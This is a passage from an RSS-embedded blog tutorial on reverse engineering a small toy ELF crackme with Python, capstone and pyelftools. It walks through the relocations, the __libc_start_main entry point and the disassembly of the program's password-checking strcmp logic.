578    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
579    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
580        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
581</code></pre></div>
582
583<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
584
585<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
586<span class="go">0x6a0: xor ebp, ebp</span>
587<span class="go">0x6a2: mov r9, rdx</span>
588<span class="go">0x6a5: pop rsi</span>
589<span class="go">0x6a6: mov rdx, rsp</span>
590<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
591<span class="go">0x6ad: push rax</span>
592<span class="go">0x6ae: push rsp</span>
593<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
594<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
595<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
596<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
597<span class="go">0x6ca: hlt</span>
598<span class="go">... snip ...</span>
599</code></pre></div>
600
601<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
602
603<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
604
605<blockquote>
606  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
607</blockquote>
608
609<p>To try and find these relocation entries, we write a third script.</p>
610
611<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
612
613<span class="kn">import</span> <span class="nn">sys</span>
614<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
615<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
616
617<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
618    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
619    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
620        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
621            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
622            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
623            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
624                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
625                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
626                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
627</code></pre></div>
628
629<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
630
631<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
632<span class="go">.rela.dyn:</span>
633<span class="go"> 0x200d98</span>
634<span class="go"> 0x200da0</span>
635<span class="go"> 0x201008</span>
636<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
637<span class="go">**__libc_start_main 0x200fe0**</span>
638<span class="go">__gmon_start__ 0x200fe8</span>
639<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
640<span class="go">__cxa_finalize 0x200ff8</span>
641<span class="go">stdin 0x201010</span>
642<span class="go">.rela.plt:</span>
643<span class="go">puts 0x200fb0</span>
644<span class="go">printf 0x200fb8</span>
645<span class="go">fgets 0x200fc0</span>
646<span class="go">strcmp 0x200fc8</span>
647<span class="go">malloc 0x200fd0</span>
648</code></pre></div>
649
650<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
651
652<blockquote>
653  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
654</blockquote>
655
656<p>And its definition is like so</p>
657
658<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
659<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
660<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
661<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
662<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
663<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
664</code></pre></div>
665
666<p>Looking back at our disassembly</p>
667
668<pre><code>0x6a0: xor ebp, ebp
6690x6a2: mov r9, rdx
6700x6a5: pop rsi
6710x6a6: mov rdx, rsp
6720x6a9: and rsp, 0xfffffffffffffff0
6730x6ad: push rax
6740x6ae: push rsp
6750x6af: lea r8, [rip + 0x23a]
6760x6b6: lea rcx, [rip + 0x1c3]
677**0x6bd: lea rdi, [rip + 0xe6]**
6780x6c4: call qword ptr [rip + 0x200916]
6790x6ca: hlt
680... snip ...
681</code></pre>
682
683<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
684
685<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
686
687<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
688
689<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
690
691<pre><code>printf 0x650
692fgets  0x660
693strcmp 0x670
694malloc 0x680
695</code></pre>
696
697<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
698
699<pre><code>0x7b2: mov edi, 0xa  ; 10
7000x7b7: call 0x680    ; malloc
701</code></pre>
702
703<p>The loop to populate the <code>*pw</code> string</p>
704
705<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
7060x7d3:  cdqe    
7070x7d5:  lea     rdx, [rax - 1]
7080x7d9:  mov     rax, qword ptr [rbp - 0x10]
7090x7dd:  add     rax, rdx
7100x7e0:  movzx   eax, byte ptr [rax]
7110x7e3:  lea     ecx, [rax + 1]
7120x7e6:  mov     eax, dword ptr [rbp - 0x14]
7130x7e9:  movsxd  rdx, eax
7140x7ec:  mov     rax, qword ptr [rbp - 0x10]
7150x7f0:  add     rax, rdx
7160x7f3:  mov     edx, ecx
7170x7f5:  mov     byte ptr [rax], dl
7180x7f7:  add     dword ptr [rbp - 0x14], 1
7190x7fb:  cmp     dword ptr [rbp - 0x14], 8
7200x7ff:  jle     0x7d0
721</code></pre>
722
723<p>And this looks like our <code>strcmp()</code></p>
724
725<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
7260x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
7270x84b:  mov     rsi, rdx             
7280x84e:  mov     rdi, rax
7290x851:  call    0x670                       ; strcmp  
7300x856:  test    eax, eax                    ; is = 0? 
7310x858:  jne     0x868                       ; no? jump to 0x868
7320x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
7330x861:  call    0x640                       ; puts
7340x866:  jmp     0x874
7350x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
7360x86f:  call    0x640                       ; puts  
737</code></pre>
738
739<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
740
741<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
742
743<h3 id="conclusion">Conclusion</h3>
744
745<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
746
747<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
748
749<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
750]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
751</rss>